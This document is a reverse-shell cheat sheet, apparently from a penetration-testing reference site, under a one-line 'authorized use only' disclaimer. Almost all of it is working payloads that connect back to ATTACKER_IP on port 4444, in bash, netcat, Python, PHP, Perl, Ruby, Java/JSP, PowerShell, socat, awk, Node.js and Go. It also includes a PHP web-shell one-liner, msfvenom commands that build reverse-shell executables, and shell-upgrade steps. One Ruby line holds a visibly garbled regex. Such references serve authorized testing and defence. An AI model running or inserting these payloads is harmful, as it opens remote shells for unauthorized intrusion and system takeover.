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🌶 REVERSE SHELL

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Interactive tool: 🐺 Reverse Shell Generator

# Netcat
nc -lvnp 4444
nc -lvnp 4444 -e /bin/bash

# Ncat (with SSL)
ncat --ssl -lvnp 4444

# Socat
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Metasploit
msfconsole
use exploit/multi/handler
set payload <payload>
set LHOST <your-ip>
set LPORT 4444
run

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196

# URL encoded
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261

nc -e /bin/sh ATTACKER_IP 4444
nc -e /bin/bash ATTACKER_IP 4444
nc -c bash ATTACKER_IP 4444

# Without -e flag
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# Netcat OpenBSD
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# Python (Windows)
python -c "import socket,subprocess;s=socket.socket();s.connect(('ATTACKER_IP',4444));[subprocess.call(['cmd.exe'],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())]"

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("ATTACKER_IP",4444);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

# PHP web shell one-liner
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");?>

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","4444");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/444444cd444444444(.444444444*444)/)? (Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read})}' 2>/dev/null

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();

# Java JSP
<%@ page import="java.util.*,java.io.*"%>
<%
String[] cmd = {"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
%>

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Shorter version
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

# Base64 encoded
powershell -e <BASE64_ENCODED_COMMAND>

# Attacker
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

require('child_process').exec('nc -e /bin/sh ATTACKER_IP 4444')

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4444, "ATTACKER_IP", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","ATTACKER_IP:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

# Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell.elf

# Windows
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe

# PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.php

# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f asp > shell.asp

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.jsp

# WAR
msfvenom -p java/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f war > shell.war

# Python
msfvenom -p cmd/unix/reverse_python LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.py

# Python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Then background with Ctrl+Z and:
stty raw -echo; fg
# Press Enter twice

# Set terminal
export TERM=xterm
export SHELL=/bin/bash

# Script
script /dev/null -c bash

# Perl
perl -e 'exec "/bin/bash";'

# Ruby
ruby -e 'exec "/bin/bash"'